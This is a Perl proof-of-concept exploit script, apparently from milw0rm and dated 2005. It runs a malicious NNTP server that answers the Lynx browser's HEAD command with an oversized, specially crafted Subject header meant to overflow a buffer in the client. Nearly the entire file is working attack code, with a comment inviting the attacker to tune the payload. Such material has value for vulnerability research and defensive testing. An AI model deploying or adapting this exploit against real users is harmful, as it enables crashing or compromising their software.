111 lines
No EOL
1.7 KiB
Perl
Executable file
111 lines
No EOL
1.7 KiB
Perl
Executable file
#!/usr/bin/perl --
|
|
|
|
# lynx-nntp-server
|
|
# by Ulf Harnhammar in 2005
|
|
# I hereby place this program in the public domain.
|
|
|
|
use strict;
|
|
use IO::Socket;
|
|
|
|
$main::port = 119;
|
|
$main::timeout = 5;
|
|
|
|
# *** SUBROUTINES ***
|
|
|
|
sub mysend($$)
|
|
{
|
|
my $file = shift;
|
|
my $str = shift;
|
|
|
|
print $file "$str\n";
|
|
print "SENT: $str\n";
|
|
} # sub mysend
|
|
|
|
sub myreceive($)
|
|
{
|
|
my $file = shift;
|
|
my $inp;
|
|
|
|
eval
|
|
{
|
|
local $SIG{ALRM} = sub { die "alarm\n" };
|
|
alarm $main::timeout;
|
|
$inp = <$file>;
|
|
alarm 0;
|
|
};
|
|
|
|
if ($@ eq "alarm\n") { $inp = ''; print "TIMED OUT\n"; }
|
|
$inp =~ tr/\015\012\000//d;
|
|
print "RECEIVED: $inp\n";
|
|
$inp;
|
|
} # sub myreceive
|
|
|
|
# *** MAIN PROGRAM ***
|
|
|
|
{
|
|
my $server = IO::Socket::INET->new( Proto => 'tcp',
|
|
LocalPort => $main::port,
|
|
Listen => SOMAXCONN,
|
|
Reuse => 1);
|
|
die "can't set up server!\n" unless $server;
|
|
|
|
|
|
while (my $client = $server->accept())
|
|
{
|
|
$client->autoflush(1);
|
|
print 'connection from '.$client->peerhost."\n";
|
|
|
|
|
|
mysend($client, '200 Internet News');
|
|
my $group = 'alt.angst';
|
|
|
|
while (my $str = myreceive($client))
|
|
{
|
|
if ($str =~ m/^mode reader$/i)
|
|
{
|
|
mysend($client, '200 Internet News');
|
|
next;
|
|
}
|
|
|
|
if ($str =~ m/^group ([-_.a-zA-Z0-9]+)$/i)
|
|
{
|
|
$group = $1;
|
|
mysend($client, "211 1 1 1 $group");
|
|
next;
|
|
}
|
|
|
|
if ($str =~ m/^quit$/i)
|
|
{
|
|
mysend($client, '205 Goodbye');
|
|
last;
|
|
}
|
|
|
|
if ($str =~ m/^head ([0-9]+)$/i)
|
|
{
|
|
my $evil = '$@UU(JUU' x 21; # Edit the number!
|
|
$evil .= 'U' x (504 - length $evil);
|
|
|
|
my $head = <<HERE;
|
|
221 $1 <xyzzy\@usenet.qx>
|
|
Path: host!someotherhost!onemorehost
|
|
From: <mr_talkative\@usenet.qx>
|
|
Subject: $evil
|
|
Newsgroup: $group
|
|
Message-ID: <xyzzy\@usenet.qx>
|
|
.
|
|
HERE
|
|
|
|
$head =~ s|\s+$||s;
|
|
mysend($client, $head);
|
|
next;
|
|
}
|
|
|
|
mysend($client, '500 Syntax Error');
|
|
} # while str=myreceive(client)
|
|
|
|
close $client;
|
|
print "closed\n\n\n";
|
|
} # while client=server->accept()
|
|
}
|
|
|
|
# milw0rm.com [2005-10-17] |